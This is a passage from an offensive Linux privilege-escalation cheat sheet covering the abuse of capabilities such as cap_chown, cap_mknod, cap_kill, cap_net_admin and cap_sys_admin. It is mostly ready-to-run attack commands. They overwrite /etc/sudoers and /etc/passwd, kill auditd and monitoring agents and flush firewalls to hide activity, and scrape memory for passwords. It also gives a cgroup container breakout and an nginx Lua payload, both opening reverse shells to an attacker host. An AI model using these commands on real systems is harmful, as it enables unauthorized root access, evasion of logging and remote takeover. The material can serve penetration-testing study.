chmod 600 /tmp/root_key
ssh -i /root/.ssh/id_rsa root@localhost

# ==========================================
# EXPLOIT 3 — via chown binary with cap_chown
# ==========================================

chown youruser:youruser /etc/shadow
cat /etc/shadow

chown youruser:youruser /etc/sudoers
echo 'youruser ALL=(ALL) NOPASSWD:ALL' >> /etc/sudoers
sudo bash

# ==========================================
# EXPLOIT 4 — Take ownership of SUID binary
# ==========================================

# Take ownership of sudo itself → modify it!
python3 -c 'import os; os.chown("/usr/bin/sudo", 1001, 1001)'
# Now you can overwrite sudo with a malicious version!
cp /bin/bash /usr/bin/sudo
/usr/bin/sudo                # Spawns bash!

17. cap_audit_write / cap_audit_control

# FIND IT:
getcap -r / 2>/dev/null | grep cap_audit

# ==========================================
# cap_audit_write — Write to kernel audit log
# ==========================================

# LOW direct impact, but:
# → Can inject fake audit records (cover tracks!)
# → Mislead forensic analysis

# With python + cap_audit_write
python3 -c "
import socket
# Netlink audit socket
s = socket.socket(socket.AF_NETLINK, socket.SOCK_RAW, socket.NETLINK_AUDIT)
# Can inject custom audit messages
"

# ==========================================
# cap_audit_control — Control audit subsystem
# ==========================================

# MEDIUM impact:
# → Disable audit logging entirely (cover tracks perfectly!)
# → Modify audit rules
# → Turn off security monitoring

# Disable auditd via Python
python3 -c "
import ctypes
# AUDIT_STATUS_ENABLED=1, flag to disable
# Send netlink message to disable audit
"

# Using auditctl (if binary has cap_audit_control):
auditctl -e 0     # Disable auditing entirely!
# Now ALL your actions are unlogged!

# Remove all audit rules
auditctl -D       # Delete all rules

18. cap_mknod

cap_mknod = create device files. Recreate /dev/mem or /dev/sda to read raw memory/disk.

# FIND IT:
getcap -r / 2>/dev/null | grep cap_mknod

# ==========================================
# WHAT IT DOES
# ==========================================

# Normally: creating /dev/* device files requires root
# cap_mknod → create character/block device files
# → Create /dev/mem replica → read physical memory!
# → Create /dev/sda replica → read raw disk (bypass FS permissions)
# → Very powerful in containers (where /dev/ may be incomplete)

# ==========================================
# EXPLOIT — Create /dev/sda and read disk
# ==========================================

# Find major:minor numbers of existing block device
ls -la /dev/sda*
# brw-rw---- 1 root disk 8, 0 Apr 26 /dev/sda
# → Major: 8, Minor: 0

# Create device file in /tmp (using mknod)
# (Requires cap_mknod)
mknod /tmp/sda b 8 0       # b=block, 8=major, 0=minor
mknod /tmp/sda1 b 8 1      # partition 1

# Now read raw disk
debugfs /tmp/sda1
# Inside debugfs:
# debugfs: cat /etc/shadow    ← Read any file!

# ==========================================
# EXPLOIT — In Docker container
# ==========================================

# Container may not have /dev/sda → create it!
# Get device info from /proc/partitions
cat /proc/partitions

# Create device file
mknod /dev/sda b 8 0
mknod /dev/sda1 b 8 1

# Mount and read host filesystem
mkdir /mnt/host
mount /dev/sda1 /mnt/host
cat /mnt/host/etc/shadow    # Host shadow file!

19. cap_sys_rawio

# FIND IT:
getcap -r / 2>/dev/null | grep cap_sys_rawio

# ==========================================
# WHAT IT DOES
# ==========================================

# → Access /dev/mem (physical memory) via iopl/ioperm
# → Direct hardware port I/O operations
# → Very low-level hardware access

# ==========================================
# EXPLOIT — Read physical memory
# ==========================================

# If /dev/mem is accessible:
strings /dev/mem 2>/dev/null | grep -iE "password|secret|key"

# Dump memory segment
dd if=/dev/mem of=/tmp/memdump bs=1M count=100 skip=0 2>/dev/null
strings /tmp/memdump | grep -iE "password|ssh|root"

# Using Python
python3 -c "
with open('/dev/mem','rb') as f:
    f.seek(0)
    data = f.read(1024*1024)  # Read 1MB
    if b'password' in data.lower():
        idx = data.lower().find(b'password')
        print(data[idx-20:idx+80])
"

20. cap_kill

# FIND IT:
getcap -r / 2>/dev/null | grep cap_kill

# ==========================================
# WHAT IT DOES
# ==========================================

# Normally: can only send signals to your own processes
# cap_kill → send signals to ANY process (any UID including root)
# → Kill root processes
# → SIGHUP processes to make them reload config (plant config first!)
# → Denial of service

# ==========================================
# EXPLOIT 1 — SIGHUP config reload attack
# ==========================================

# Step 1: Find a root service that reloads config on SIGHUP
# Common: nginx, apache2, sshd, rsyslog

# Step 2: Write malicious config (if any config is writable)
# e.g., If /etc/nginx/nginx.conf is writable:
echo '
user root;
worker_processes 1;
events { worker_connections 1; }
http { server { listen 80; location / {
    content_by_lua "os.execute(\"bash -c '"'"'bash -i >& /dev/tcp/IP/4444 0>&1'"'"'\")"; }}}
' >> /etc/nginx/nginx.conf

# Step 3: SIGHUP nginx (if you have cap_kill)
kill -SIGHUP $(pgrep nginx)
# Nginx reloads → runs your malicious lua → reverse shell!

# ==========================================
# EXPLOIT 2 — Kill security tools
# ==========================================

# Kill auditd (disable logging!)
kill -9 $(pgrep auditd)

# Kill fail2ban
kill -9 $(pgrep fail2ban)

# Kill any monitoring agent
kill -9 $(pgrep ossec)
kill -9 $(pgrep wazuh)

21. cap_net_admin

# FIND IT:
getcap -r / 2>/dev/null | grep cap_net_admin

# ==========================================
# WHAT IT DOES
# ==========================================

# → Configure network interfaces (ifconfig, ip link)
# → Add/modify routes (ip route)
# → Configure iptables / nftables firewall rules!
# → Manage ARP cache
# → Configure tc (traffic control)

# ==========================================
# EXPLOIT 1 — Flush iptables (kill firewall!)
# ==========================================

# With cap_net_admin:
iptables -F         # Flush all rules!
iptables -X         # Delete all chains!
ip6tables -F

# Now all previously blocked ports are open!
# → Start your backdoor listener on any port

# ==========================================
# EXPLOIT 2 — Allow incoming connection for reverse shell
# ==========================================

# If outbound traffic to your port is blocked:
iptables -I OUTPUT -p tcp --dport 4444 -j ACCEPT
iptables -I INPUT  -p tcp --sport 4444 -j ACCEPT

# ==========================================
# EXPLOIT 3 — Route traffic through attacker
# ==========================================

# Add route to redirect traffic
ip route add 10.10.10.0/24 via ATTACKER_IP
# Now internal traffic flows through you = MITM!

# ==========================================
# EXPLOIT 4 — Configure dummy interface
# ==========================================

# Spoof network interface
ip link add fake0 type dummy
ip addr add 192.168.1.1/24 dev fake0
ip link set fake0 up
# Use for service spoofing

22. Capabilities on Running Processes

# ==========================================
# FIND ROOT PROCESSES WITH HIGH CAPABILITIES
# ==========================================

# List all processes with their capabilities
cat /proc/*/status 2>/dev/null | grep -E "^(Name|Pid|CapEff)" | \
    paste - - - | awk '$6 != "0000000000000000" {print $2, $4, $6}'

# Decode all non-zero effective capabilities
for pid in /proc/[0-9]*/; do
    pid_num=${pid//[^0-9]/}
    status="$pid/status"
    [ -f "$status" ] || continue
    name=$(grep "^Name:" "$status" | awk '{print $2}')
    capeff=$(grep "^CapEff:" "$status" | awk '{print $2}')
    [ "$capeff" = "0000000000000000" ] && continue
    echo -n "PID $pid_num ($name): "
    capsh --decode=$capeff 2>/dev/null
done

# ==========================================
# INTERESTING PROCESSES TO LOOK AT
# ==========================================

# Processes with full capabilities (CapEff = all 1s)
cat /proc/*/status 2>/dev/null | grep -B1 "CapEff:.*ffffffff" | grep Name

# Check specific service
pgrep nginx
cat /proc/$(pgrep nginx)/status | grep Cap
capsh --decode=$(cat /proc/$(pgrep nginx)/status | grep CapEff | awk '{print $2}')

# ==========================================
# ABUSE HIGH-CAPABILITY PROCESS VIA INJECTION
# ==========================================

# If a process has high capabilities AND cap_sys_ptrace:
# → Inject into it via ptrace → inherit its capabilities!

# If a root process has cap_dac_override:
# → Find way to make it read/write files for you (race condition, etc.)

23. Capabilities in Docker / Containers

# ==========================================
# CHECK CAPABILITIES INSIDE CONTAINER
# ==========================================

capsh --print
cat /proc/self/status | grep Cap
capsh --decode=$(cat /proc/self/status | grep CapEff | awk '{print $2}')

# ==========================================
# DEFAULT DOCKER CAPABILITIES (given to all containers)
# ==========================================

# Docker gives these caps by default:
# cap_chown, cap_dac_override, cap_fowner, cap_fsetid,
# cap_kill, cap_setgid, cap_setuid, cap_setpcap,
# cap_net_bind_service, cap_net_raw, cap_sys_chroot,
# cap_mknod, cap_audit_write, cap_setfcap

# cap_setuid is given by default → instant root inside container!
python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
# You're root INSIDE container → now escape!

# ==========================================
# PRIVILEGED CONTAINER (ALL capabilities)
# ==========================================

# If --privileged flag was used:
capsh --decode=$(cat /proc/self/status | grep CapEff | awk '{print $2}')
# → Shows ALL capabilities!

# With cap_sys_admin + cap_sys_rawio in --privileged:
mount /dev/sda1 /mnt
chroot /mnt /bin/bash    # FULL HOST ROOT!

# ==========================================
# ADDED/DROPPED CAPABILITIES
# ==========================================

# docker run --cap-add=SYS_ADMIN → adds cap_sys_admin
# docker run --cap-add=NET_ADMIN → adds cap_net_admin
# docker run --cap-drop=ALL --cap-add=NET_BIND_SERVICE → minimal

# ==========================================
# CONTAINER BREAKOUT VIA cap_sys_admin
# ==========================================

# Mount host filesystem
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp
mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)
echo "$host_path/cmd" > /tmp/cgrp/release_agent
echo '#!/bin/bash' > /cmd
echo "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1" >> /cmd
chmod a+x /cmd
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
# → Reverse shell on HOST as root!

24. User Capabilities (/etc/security)

# ==========================================
# USER-LEVEL CAPABILITIES
# ==========================================

# Capabilities assigned to users (not files!)
# Every process run by that user gets these capabilities

cat /etc/security/capability.conf
# Format:
# cap_net_raw    id   user1      (give cap_net_raw to user1)
# cap_setuid     id   zoro       (OOPS! user zoro gets cap_setuid!)
# none           *               (everyone else gets nothing)

# ==========================================
# HOW TO CHECK YOUR USER CAPABILITIES
# ==========================================

# pam_cap module loads user caps at login
capsh --print               # Shows current process capabilities
cat /proc/self/status | grep Cap

# ==========================================
# EXPLOIT — User has cap_setuid in capability.conf
# ==========================================

# If /etc/security/capability.conf gives you cap_setuid:
# Simply running any program as you gives it cap_setuid!

id                          # Verify you're the user
python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
# → ROOT! No binary capabilities needed!

25. Automated Enumeration

# ==========================================
# LINPEAS (Best — Highlights Capabilities)
# ==========================================

curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | bash 2>/dev/null

# linpeas highlights:
# [+] Files with capabilities
# Looks for dangerous caps like cap_setuid, cap_dac_override

# ==========================================
# GETCAP ONE-LINER (Quick Manual Check)
# ==========================================

getcap -r / 2>/dev/null

# With dangerous cap filter:
getcap -r / 2>/dev/null | grep -E "cap_setuid|cap_setgid|cap_dac|cap_fowner|cap_sys_admin|cap_sys_ptrace|cap_sys_module|cap_chown|cap_setfcap"

# ==========================================
# CAPABILITY CHECKER SCRIPT
# ==========================================

#!/bin/bash
echo "=== FILE CAPABILITIES ==="
getcap -r / 2>/dev/null

echo ""
echo "=== PROCESS CAPABILITIES (non-zero) ==="
for pid in /proc/[0-9]*/; do
    pn="${pid//[^0-9]/}"
    name=$(cat /proc/$pn/comm 2>/dev/null)
    capeff=$(cat /proc/$pn/status 2>/dev/null | grep CapEff | awk '{print $2}')
    [ -z "$capeff" ] || [ "$capeff" = "0000000000000000" ] && continue
    decoded=$(capsh --decode=$capeff 2>/dev/null | cut -d= -f2)
    echo "  PID $pn ($name): $decoded"
done

echo ""
echo "=== USER CAPABILITIES ==="
cat /etc/security/capability.conf 2>/dev/null

echo ""
echo "=== CURRENT PROCESS CAPS ==="
capsh --print 2>/dev/null

# ==========================================
# PWNKIT / POLKIT CHECK
# ==========================================

# CVE-2021-4034 (PwnKit) — pkexec SUID
ls -la /usr/bin/pkexec
# If SUID set → exploit regardless of capabilities!

# Polkit version
pkexec --version
dpkg -l policykit-1 2>/dev/null
rpm -qa polkit 2>/dev/null

26. Master Cheat Sheet

LINUX CAPABILITIES PRIVILEGE ESCALATION CHEAT SHEET

STEP 1 — FIND ALL CAPABILITIES (Run First!)
─────────────────────────────────────────────────────────────────
getcap -r / 2>/dev/null
getcap -r / 2>/dev/null | grep -E "cap_setuid|cap_dac|cap_sys|cap_fowner|cap_chown"

CRITICAL CAPABILITIES → INSTANT ROOT
─────────────────────────────────────────────────────────────────
cap_setuid Change UID to 0:
python3 -c 'import os;os.setuid(0);os.system("/bin/bash")'
perl -e 'use POSIX;POSIX::setuid(0);exec "/bin/bash";'
ruby -e 'Process::Sys.setuid(0);exec "/bin/bash"'
php -r 'posix_setuid(0);system("/bin/bash");'

cap_dac_override Write to any file:
echo 'hacker::0:0::/root:/bin/bash' >> /etc/passwd
echo 'user ALL=(ALL) NOPASSWD:ALL' | tee -a /etc/sudoers

cap_dac_read_search Read any file:
python3 -c 'open("/etc/shadow").read()'
tar -cf /tmp/s.tar /etc/shadow && tar -xf /tmp/s.tar

cap_sys_admin Mount filesystem, namespace escape:
mount /dev/sda1 /mnt && chroot /mnt bash
nsenter --target 1 --mount --pid -- /bin/bash

cap_sys_ptrace Inject code into root process:
gdb -p → call system("/bin/bash")
strace -p → capture passwords from memory

cap_sys_module Load malicious kernel module:
insmod reverse_shell.ko → instant kernel-level RCE!

cap_fowner Change file permissions:
python3 -c 'import os;os.chmod("/bin/bash",0o4755)'
bash -p → ROOT!

cap_chown Change file ownership:
python3 -c 'import os;os.chown("/etc/shadow",YOUR_UID,YOUR_UID)'
cat /etc/shadow → crack → su root

LOWER IMPACT CAPABILITIES
─────────────────────────────────────────────────────────────────
cap_net_raw Sniff traffic → tcpdump -i eth0 -A | grep pass
cap_net_admin Kill firewall → iptables -F
cap_net_bind_service Bind port <1024 → spoof SSH/HTTP for phishing
cap_kill Kill security tools → kill -9 $(pgrep auditd)
cap_mknod Create /dev/sda → read raw disk

CAPABILITY FLAG MEANINGS
─────────────────────────────────────────────────────────────────
+ep = effective + permitted → ACTIVE immediately (most dangerous!)
+eip = effective + inheritable + permitted
+p = permitted only → Binary must explicitly activate

DECODE BITMASK
─────────────────────────────────────────────────────────────────
capsh --decode=
cat /proc//status | grep CapEff → then decode

COMPLETE PYTHON TEMPLATE FOR cap_setuid
─────────────────────────────────────────────────────────────────
python3 -c 'import os,pty;os.setuid(0);pty.spawn("/bin/bash")'

COMPLETE PERL TEMPLATE FOR cap_setuid
─────────────────────────────────────────────────────────────────
perl -e 'use POSIX (setuid); POSIX::setuid(0); exec "/bin/bash";'

DOCKER CONTAINER CHECK
─────────────────────────────────────────────────────────────────
capsh --decode=$(cat /proc/self/status|grep CapEff|awk '{print $2}') cap_setuid in default docker → python3 -c 'import os;os.setuid(0);...'

← Linux top ↑